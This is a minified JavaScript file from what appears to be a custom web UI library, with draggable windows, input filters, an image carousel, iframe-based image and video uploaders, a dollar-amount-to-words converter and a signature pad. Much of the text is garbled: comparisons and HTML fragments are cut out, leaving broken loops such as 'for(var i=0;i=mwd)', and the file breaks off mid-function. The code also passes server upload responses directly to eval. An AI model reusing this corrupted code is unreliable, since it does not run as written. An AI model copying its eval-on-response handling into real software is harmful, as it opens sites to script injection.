ct=d.getElementsByTagName('center')[0];if(d.mcd==0){MrlAnimat(d.lhc,2,800,'sf',null,null,null,null,0);d.lhc.onMrlAnimatEnd=function(){this.mblur()};ct.removeChild(d.dd);var mwd=d.offsetWidth;var ht=(parseInt(Math.random()*mrh)+rh*1);var dd=Mrlce('div');dd.style.position='relative';dd.style.height=ht+'px';dd.style.width=(mwd*10)+'px';dd.style.textAlign='left';dd.style.marginBottom=d.mmar+'px';ct.appendChild(dd);for(var i=0;i=mwd){im.style.marginRight='0px';var bst=99999;var tims=dd.getElementsByTagName('img');for(var m=0;m-10){bst=m};};for(var q=0;q";var tb=mf.getElementsByTagName('table')[0];tb.style.paddingBottom='10px';tb.mdrag=mf;var ty=mf.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.mdrag=mf;for(var i=0;ty.childNodes.length!=0;i=0){ty.removeChild(ty.childNodes[0])};var tr=Mrlce('tr');var td=Mrlce('td');tr.appendChild(td);td.style.height=(sz*1+10*1)+'px';td.setAttribute('vAlign','top');tr.mdrag=mf;td.mdrag=mf;ty.appendChild(tr);Mrlft(mf,'verdana',sz-5,'#000');var tit=Mrlce('div');td.appendChild(tit);tit.mf=mf;mf.tit=tit;Mrlab4(tit,5,10,sz);tit.style.paddingRight=(sz*1+10*1)+'px';tit.style.zIndex='-1';mf.mtit=tt;var im=Mrlce('img');var ic=GForm_ico?GForm_ico:'http://www.mrlsystem.com/MRL/img/MRL_logo_l.png';Mrlab4(im,null,null,sz,sz);im.src=ic;im.style.zIndex='-1';mf.mico=im;var mtt=Mrlce('div');Mrlab4(mtt,null,sz*1+10*1,sz);mtt.style.position='relative';tit.mtt=mtt;mtt.innerHTML=tt;tit.appendChild(im);tit.appendChild(mtt);tit.style.overflow='hidden';tit.style.display='block';tit.mdrag=mf;var th=Mrlce('div');mf.th=th;th.mf=mf;td.appendChild(th);Mrlab4(th,5,null,sz);th.style.right='10px';th.style.overflow='hidden';th.msbtns=function(){var th=this;var btns=th.btns;for(var i=0;i=mf.mi*1)?(p.mzIndexAry[i]-1):(p.mzIndexAry[i]));};};p.mzIndexAry=mzIndexAry.slice();var nfmls=new Array();for(var i=0;iwd){lf=0;tp=tp-(sz*1+2*1+10*1);lf=2};MrlAnimat(fmls[i],5,500,'fs',tp,lf,sz*1+10*1,250);chk=1;};};if(chk==0){tp=ht};return tp;};mf.mclose=function(){mf.th.mcls()};mf.mmin=function(){mf.th.mmin()};mf.mmid=function(){mf.th.mmid()};mf.mmax=function(){mf.th.mmax()};mf.msetrel=function(){mf.th.msetrel()};mf.mdrop=function(){var mf=this;mf.style.boxShadow='rgba(0,0,0,0.35) 0px 2px 15px 0px';if(mf.mftyp==1){th.msbtns();th.btns[1][2].style.display='none';mf.mftyp=0;}else if(mf.mftyp==2){th.msbtns();th.btns[1][2].style.display='none';if(mf.mamid){if(mf.mamid()){return 0}};mf.mftyp=0;};if(mf.mftyp!=3){mf.marrmin()};mf.mpos();};mf.mpick=function(){var mf=this;mf.style.boxShadow='rgba(0,0,0,0.35) 0px 4px 20px 0px';if(mf.mbmid){if(mf.mbmid()){return 0}};mf.mzIndex();};mf.onclick=function(){var mf=this;mf.mzIndex();};mf.mzIndex=function(){var mf=this;var p=mf.mparent;var fmls=p.mfmls;var mzIndexAry=new Array();for(var q=0;q=48&&kc<=57)||(kc>=96&&kc<=105))&&!e.shiftKey)||kc==36||kc==35||kc==46||kc==190||kc==110||kc==8||kc==9||kc==37||kc==38||kc==39||kc==40){if(kc==190||kc==110){return false}}else{return false}};inp.onkeyup=function(e){e=e||window.event;var kc=e.which||e.keyCode};}else{inp.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if((((kc>=48&&kc<=57)||(kc>=96&&kc<=105))&&!e.shiftKey)||kc==36||kc==35||kc==46||kc==190||kc==110||kc==8||kc==9||kc==37||kc==38||kc==39||kc==40){if(((kc==190||kc==110)&&this.value.indexOf('.')!=-1)||e.shiftKey){return false}}else{return false}};inp.onkeyup=function(e){e=e||window.event;var kc=e.which||e.keyCode};};inp.dps=dps;inp.onblur=function(){var inp=this;inp.value=Mrldp(inp.value,inp.dps);};}else if(typ=='BUTTON'){var inp=Mrlce('button');inp.innerHTML=btns[i][0];inp.style.marginLeft='5px';inp.style.marginRight='5px';var mc=mrgb('#036');MrlGradient(inp,mc[10]+'ff',mc[50]+'ff');inp.style.boxShadow='rgba(0,0,0,0.35) 0px 4px 10px 0px';Mrlft(inp,'verdana',12,'#fff');eval("inp.onclick=function(){"+btns[i][3]+"}");eval("inp.onblur=function(){"+btns[i][4]+"}");inp.style.cursor='pointer';}else if(typ=='SELECT'){var lbl=Mrlce('label');lbl.innerHTML=btns[i][0];if(btns[i][0]==''){lbl.style.padding='0px';lbl.style.margin='0px';}else{lbl.style.padding='0px 5px 0px 5px';lbl.style.marginTop='3px';lbl.style.marginBottom='3px';};dd.appendChild(lbl);inp.value=btns[i][8];inp.style.zIndex='300';eval("inp.onchange=function(){"+btns[i][2]+";var inp=this;var inpa=inp.d.btns[inp.mi][6][0];var inpb=inp.d.btns[inp.mi][6][1];inpa.value=inp.value;inpb.value=inp.value}");eval("inp.onMrlSubmit=function(){"+btns[i][2]+";var inp=this;var inpa=inp.d.btns[inp.mi][6][0];var inpb=inp.d.btns[inp.mi][6][1];inpa.value=inp.value;inpb.value=inp.value}");eval("inp.onclick=function(){"+btns[i][3]+"}");eval("inp.onblur=function(){"+btns[i][4]+"}");var ops=btns[i][5].slice();for(var qq=0;qq=img.length;i=0){cur=cur*1-img.length*1};for(var i=0;cur<0;i=0){cur=cur*1+img.length*1};var cur=(img.length*3+cur*1);var ima=imgs[cur][1];if(num>0){var b=1}else{var b=(0-1)};var lcur=cur-num;var im=imgs[lcur][1];if(Mrlie9()){im.style.filter='alpha(opacity=100)'}else{im.style.opacity='1'};im.c.style.top=(0-im.c.offsetHeight)+'px';var tm=1000;MrlAnimat(ima,2,tm,'fs',null,null,null,null,100);MrlAnimat(im,2,tm,'fs',null,null,null,null,30);if(d.mcur!=lcur){d.dd.scrollLeft=im.offsetLeft-50};MrlAnimat(d.dd,2,tm,'fs',null,null,null,null,null,null,null,ima.offsetLeft*1-50*1);MrlAnimat(d.btnr,2,tm,'fs',null,4*1+ima.offsetWidth*1+50*1);MrlAnimat(ima.c,2,tm,'fs',(0-ima.c.offsetHeight*1));MrlAnimat(im.c,2,tm,'fs',0);d.mcur=cur;};var btnl=Mrlce('div');Mrlab4(btnl,parseInt((ht-56)/2),5,56,41);btnl.style.overflow='hidden';var im=Mrlce('img');im.src='/MRL/img/film_arrows.png';im.d=d;im.style.cursor='pointer';im.onclick=function(){this.d.move((0-1))};Mrlab4(im,0,0,56,82);btnl.appendChild(im);d.appendChild(btnl);d.btnl=btnl;var btnr=Mrlce('div');Mrlab4(btnr,parseInt((ht-56)/2),1000,56,41);btnr.style.overflow='hidden';var im=Mrlce('img');im.src='/MRL/img/film_arrows.png';im.style.cursor='pointer';im.d=d;im.onclick=function(){this.d.move(1)};Mrlab4(im,0,0-41,56,82);btnr.appendChild(im);d.appendChild(btnr);d.btnr=btnr;d.mloop();return d;};mupfile=function(){var d=Mrlce('div');var mif=Mrlce('iframe');d.appendChild(mif);mif.style.border='none';mif.style.position='relative';mif.style.height='100%';mif.style.width='100%';mif.src='/MRL/upfile.php?r='+parseInt(Math.random()*99999);d.msubmit=function(){var d=this;setTimeout('Mrlgei("'+d.id+'").mupload()',500);};d.mputfunc=function(){var d=this;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};d.mif.contentWindow.document.getElementById('mimg').dd=d;d.mif.contentWindow.document.getElementById('mimg').ddd=d.mif.contentWindow.document.getElementById('mform');d.mif.contentWindow.document.getElementById('MrlResult').value='';d.mif.contentWindow.document.getElementById('mimg').onchange=function(){this.dd.msubmit();this.ddd.submit();};};d.mupload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};var rep=d.mif.contentWindow.document.getElementById('MrlResult').value;if(rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==(0-1)){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};rep=rep.substring(0,rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03')));d.mif.contentWindow.document.getElementById('MrlResult').value='';d.onMrlResult=rep;d.onMrlSubmit();setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.onMrlSubmit=function(){var d=this;alert(this.onMrlResult)};d.mload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.mif=mif;var nid='mupfile'+parseInt(Math.random()*99999);for(var i=0;Mrlgei(nid);i=0){var nid='mupfile'+parseInt(Math.random()*99999)};d.id=nid;setTimeout('Mrlgei("'+d.id+'").mload()',0);document.body.appendChild(d);return d;};anical=function(anical_spd,anical_len,anical_fs,anical_to){var FS=anical_fs||'fs';FS=FS.toUpperCase();var Tms=anical_len||100;var Spd=anical_spd||1;var mto=anical_to||100;if(FS=='FSF'){var TanT=90;var TanB=270;}else if(FS=='SF'){var TanT=0;var TanB=90;}else if(FS=='FS'){var TanT=90;var TanB=180;}else if(FS=='SFS'){var TanT=0;var TanB=180;}else if(FS=='S'){var TanT=90;var TanB=91;}else if(FS=='F'){var TanT=90;var TanB=91;}else{FS='FS';var TanT=90;var TanB=180;};var TanM=(TanB-TanT);var TanTtl=0;var DicTan=new Array();var GeTan=0;for(var i=0;i=mht)?mht:(hc.pt*1+difx*1))+'px';d.d.Gey.scrollTop=Math.round((d.d.Gey.scrollHeight-d.d.offsetHeight-20)/(d.d.shd.offsetHeight-d.d.shdd.offsetHeight)*hc.mele.offsetTop);d.d.shd.mscroll();};if(sh==0){sd.style.display='none';};var sdd=Mrlce('div');d.appendChild(sdd);Mrlab4(sdd);sdd.style.bottom='0px';sdd.style.height='8px';sdd.style.left='0px';sdd.style.width='100%';var sd=Mrlce('div');sdd.appendChild(sd);sd.mscroll=function(){};sd.style.backgroundColor='#ddd';sd.style.marginRight='9px';sd.style.zIndex='16777260';sd.style.height='8px';sd.style.left='0px';sd.style.borderRadius='100px';sd.style.position='relative';sd.style.boxShadow='rgba(0,0,0,0.1) 0px 0px 5px 0px inset';Gey.mswd=sd;var dd=Mrlce('div');Gey.mswdd=dd;sd.appendChild(dd);dd.style.zIndex='16777261';dd.style.height='8px';dd.style.width='20%';dd.style.boxShadow='rgba(0,0,0,0.35) 0px 0px 5px 0px inset';dd.style.borderRadius='100px';dd.style.backgroundColor='#ccc';Mrlab4(dd,0,0);dd.d=d;sd.d=d;d.swdd=dd;d.swd=sd;msetdrag(dd);dd.mmove=function(){var d=this;var hc=d.hc;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds;};mpar=d.parentNode;var mwd=mpar.offsetWidth-d.offsetWidth;hc.mele.style.left=((hc.pl*1+dify*1)<=0)?0:(((hc.pl*1+dify*1)>=mwd)?mwd:(hc.pl*1+dify*1))+'px';var d=d.d;var swd=d.swd;var swdd=d.swdd;var Gey=d.Gey;Gey.scrollLeft=Math.round((Gey.scrollWidth-d.offsetWidth)/(swd.offsetWidth-swdd.offsetWidth)*hc.mele.offsetLeft);swd.mscroll();};if(sw==0){sd.style.display='none';};Gey.onscroll=function(){var Gey=this;var d=Gey.msbd;var shd=d.shd;var shdd=d.shdd;shdd.style.top=Math.round(Math.round(Gey.scrollTop)/(Gey.scrollHeight-d.offsetHeight-20)*(shd.offsetHeight-shdd.offsetHeight))+'px';var swd=d.swd;var swdd=d.swdd;swdd.style.left=Math.round(Math.round(Gey.scrollLeft)/(Gey.scrollWidth-d.offsetWidth)*(swd.offsetWidth-swdd.offsetWidth))+'px';shd.mscroll();swd.mscroll();};return d;};mAmtInEng=function(mamtineng_amt,mamtineng_upp){var amt=mamtineng_amt;var amt=amt.toString().replace(/,/g,'')||0;var amt=amt*1;var amt=Math.round(amt*100,2)/100;var amt=amt.toString().toUpperCase();if(amt*1>=1000000000000000){return 'NA'};var upp=mamtineng_upp||0;var tt='Zero Dollar Only';if(amt*1==0){if(upp==0){var tt=tt.toLowerCase();return tt.substring(0,1).toUpperCase()+tt.substring(1)}else if(upp==1){return tt.toUpperCase()}else{return tt};};var tt='';var hds=['Trillion','Billion','Million','Thousand','Dollar'];var ott=['','One','Two','Three','Four','Five','Six','Seven','Eight','Nine','Ten','Eleven','Twelve','Thirteen','Fourteen','Fifteen','Sixteen','Seventeen','Eighteen','Nineteen'];var oty=['','Ten','Twenty','Thirty','Forty','Fifty','Sixty','Seventy','Eighty','Ninety'];var hm=new Array();for(var q=0;q<10;q++){for(var i=0;i<10;i++){var p=q*10+i*1;if(ott[p]===undefined){hm[p]=oty[q]+((oty[q]==''||ott[i]=='')?'':'-')+ott[i]}else{hm[p]=ott[p]}}};var othid=function(othid_amt,othid_ord){var amt=othid_amt||0;var n=othid_ord||0;if((amt*1)==0){return ''};var hs=amt.substring(0,1)*1;var val=(hm[hs]=='')?'':((hs==1)?hm[hs]+' Hundred'+(hm[amt.substring(1)*1]==''?'':' And '):hm[hs]+' Hundreds'+(hm[amt.substring(1)*1]==''?'':' And '));val+=hm[amt.substring(1)*1];if(amt*1==0){}else if(amt*1==1){val+=' '+hds[n];}else{val+=' '+hds[n]+'s';};othid_ord;return val;};var cts='';var amts=new Array();if(parseInt(amt*1)!=amt*1){var ct=amt*1-parseInt(amt*1);ct=Math.round(ct*100);var cts='And '+hm[ct]+((ct==1)?' Cent':' Cents')}var amt=parseInt(amt*1).toString().toUpperCase();var zros='00000000000000000000000000000000000000000000000000000000000000000000000';var amt=zros+''+amt;var amt=amt.substring(amt.length-15);var n=(0-1);var chka=0;for(var i=0;i=1){var dat=mtrans(dat);var dat=dat.slice(dat.length-1)[0];}else{dat=new Array();};return dat;};msort=function(msort_dat,msort_ord){var dat=msort_dat;var ord=msort_ord;if(!dat||!ord){return dat};if(dat.length==0){return dat};for(var i=0;i";var ty=Gey.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;for(var i=0;ty.childNodes.length!=0;i=0){ty.removeChild(ty.childNodes[0]);};var d=new Array();for(var i=0;i','>'],[' ',' ']];var a=0;var b=1;for(var i=0;i','>'],[' ',' ']];var a=1;var b=0;for(var i=0;i40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.GEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;var cwd=im.width;var cht=im.height;var nht=imd.mht;var nwd=imd.mwd;var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);imd.style.display='block';d.mif.style.display='none';};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/MRL/img/loading1.gif';imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mico','im/'+dat+divi+cpht+divi+cpwd);a.d=d;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/im/'+dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.GEditYN=yn;};d.GEditYN='Y';return dd;};mupimg=function(mupimg_pth,mupimg_ht,mupimg_wd){var pth=mupimg_pth||'/MRL/img/camera_black.png';var ht=mupimg_ht||768;var wd=mupimg_wd||1024;var cpht=ht;var cpwd=wd;var dd=Mrlce('div');Mrlab4(dd,null,null,'100%','100%',1);Mrlmp(dd,'0px','0px');var d=mupfiletoim();d.cpht=cpht;d.cpwd=cpwd;Mrlab4(d,null,null,'100%','100%',1);dd.d=d;dd.appendChild(d);var imd=Mrlce('div');imd.d=d;d.dd=dd;imd.dd=dd;d.appendChild(imd);Mrlab4(imd,null,null,'100%','100%',1);Mrlab4(imd,0,0,'100%','100%',0);imd.style.display='none';d.mimd=imd;var im=Mrlce('img');imd.im=im;im.imd=imd;imd.appendChild(im);imd.mht=ht;imd.mwd=wd;imd.style.borderRadius='3px';imd.style.overflow='hidden';im.src=pth||'';im.mdefpth=pth;Mrlab4(im,null,null,null,null);im.style.display='inline-block';im.style.cursor='pointer';msa(im,'onclick','var im=this;if(im.src.toString().toUpperCase().indexOf(im.mdefpth.toString().toUpperCase())!=(0-1)){im.imd.dd.ed.onclick();return 0};var Gey=window.open(im.src)');var edht=((parseInt(ht*0.05)<20)?20:((parseInt(ht*0.05)>40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.GEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;var minside=1;var cwd=im.width;var cht=im.height;var nht=imd.dd.offsetHeight;var nwd=imd.dd.offsetWidth;if(minside==1){var rat=(((cht/nht)<(cwd/nwd))?(cwd/nwd):(cht/nht));}else{var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));};var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);imd.style.display='block';d.mif.style.display='none';};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/MRL/img/loading1.gif';imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mipic','im/'+dat+divi+cpht+divi+cpwd);a.d=d;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/im/'+dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.GEditYN=yn;};d.GEditYN='Y';setTimeout('Mrlgei("'+d.id.replace(/\"/g,'\"')+'").mimd.im.onload()',100);return dd;};mupvideotoim=function(){var d=Mrlce('div');var mif=Mrlce('iframe');d.appendChild(mif);mif.style.border='none';mif.style.position='relative';mif.style.height='100%';mif.style.width='100%';mif.src='/MRL/upvideotoim.php?r='+parseInt(Math.random()*99999);d.msubmit=function(){var d=this;if(d.onMrlChange){d.onMrlChange();};setTimeout('Mrlgei("'+d.id+'").mupload()',500);};d.mputfunc=function(){var d=this;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};d.mif.contentWindow.document.getElementById('mimg').dd=d;d.mif.contentWindow.document.getElementById('mimg').ddd=d.mif.contentWindow.document.getElementById('mform');d.mif.contentWindow.document.getElementById('MrlResult').value='';d.mif.contentWindow.document.getElementById('mimg').onchange=function(){this.dd.msubmit();this.ddd.submit();};};d.mupload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};var rep=d.mif.contentWindow.document.getElementById('MrlResult').value;if(rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==(0-1)){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};rep=rep.substring(0,rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03')));d.mif.contentWindow.document.getElementById('MrlResult').value='';d.onMrlResult=rep;d.onMrlSubmit();setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.onMrlSubmit=function(){var d=this;alert(this.onMrlResult)};d.mload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.mif=mif;var nid='mupfile'+parseInt(Math.random()*99999);for(var i=0;Mrlgei(nid);i=0){var nid='mupfile'+parseInt(Math.random()*99999)};d.id=nid;setTimeout('Mrlgei("'+d.id+'").mload()',0);document.body.appendChild(d);return d;};mupvideo=function(mupvideo_pth,mupvideo_ht,mupvideo_wd){var pth=mupvideo_pth||'/MRL/img/video_black.png';var ht=mupvideo_ht||768;var wd=mupvideo_wd||1024;var cpht=ht;var cpwd=wd;var dd=Mrlce('div');Mrlab4(dd,null,null,'100%','100%',1);Mrlmp(dd,'0px','0px');var d=mupvideotoim();d.cpht=cpht;d.cpwd=cpwd;Mrlab4(d,null,null,'100%','100%',1);dd.d=d;dd.appendChild(d);var imd=Mrlce('div');imd.d=d;d.dd=dd;imd.dd=dd;d.appendChild(imd);Mrlab4(imd,null,null,'100%','100%',1);Mrlab4(imd,0,0,'100%','100%',0);imd.style.display='none';d.mimd=imd;var im=Mrlce('video');imd.im=im;im.imd=imd;msa(im,'preload','metadata');msa(im,'type','video/mp4');imd.appendChild(im);imd.mht=ht;imd.mwd=wd;imd.style.borderRadius='3px';imd.style.overflow='hidden';msa(im,'poster',pth);Mrlab4(im,null,null,null,null);im.style.display='inline-block';im.style.cursor='pointer';msa(im,'onclick','var im=this;if(im.getAttribute("poster")){im.imd.dd.ed.onclick();return 0;};var Gey=window.open(im.src)');var edht=((parseInt(ht*0.05)<20)?20:((parseInt(ht*0.05)>40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';dd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.GEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;imd.style.display='block';d.mif.style.display='none';im.msetcenter(im);};im.msetcenter=function(msetcenter_im){var im=this;var imd=im.imd;var d=imd.d;var im=msetcenter_im;var minside=1;var cwd=im.offsetWidth;var cht=im.offsetHeight;var nht=imd.dd.offsetHeight;var nwd=imd.dd.offsetWidth;if(minside==1){var rat=(((cht/nht)<(cwd/nwd))?(cwd/nwd):(cht/nht));}else{var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));};var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;msa(im,'poster','/MRL/img/loading1.gif');imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mipic','vd/'+dat+divi+cpht+divi+cpwd);a.d=d;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.removeAttribute('poster');im.src='/vd/'+dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};im.msetcenter(im);};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.GEditYN=yn;};d.GEditYN='Y';setTimeout('Mrlgei("'+d.id.replace(/\"/g,'\"')+'").mimd.im.onload()',100);return dd;};msign=function(){var d=Mrlce('div');Mrlab4(d,null,null,'100%','100%',1);Mrlmp(d,'0px','0px');d.style.border='solid 1px #aaa';d.style.borderRadius='8px';d.style.display='block';var sga=Mrlsign();Mrlab4(sga,null,null,'100%','100%',1);d.sga=sga;sga.style.display='block';sga.btnd.style.display='none';sga.style.cursor='pointer';sga.d=d;d.appendChild(sga);sga.mdown=function(){};sga.mup=function(){};sga.redraw=function(msign_redraw_ary){var d=this;var hc=Mrlmid();document.body.appendChild(hc);var sgb=hc;var sga=d;var aht=sga.offsetHeight;var awd=sga.offsetWidth;var bht=sgb.offsetHeight;var bwd=sgb.offsetWidth;var zm=Math.round((((aht/bht)<(awd/bwd))?(aht/bht):(awd/bwd))*10000)/10000*0.7;sga.enl=zm;hc.mblur();var mp=d.mp;var enl=d.enl;var vals=msign_redraw_ary||d.getData();d.mclear();for(var i=0;i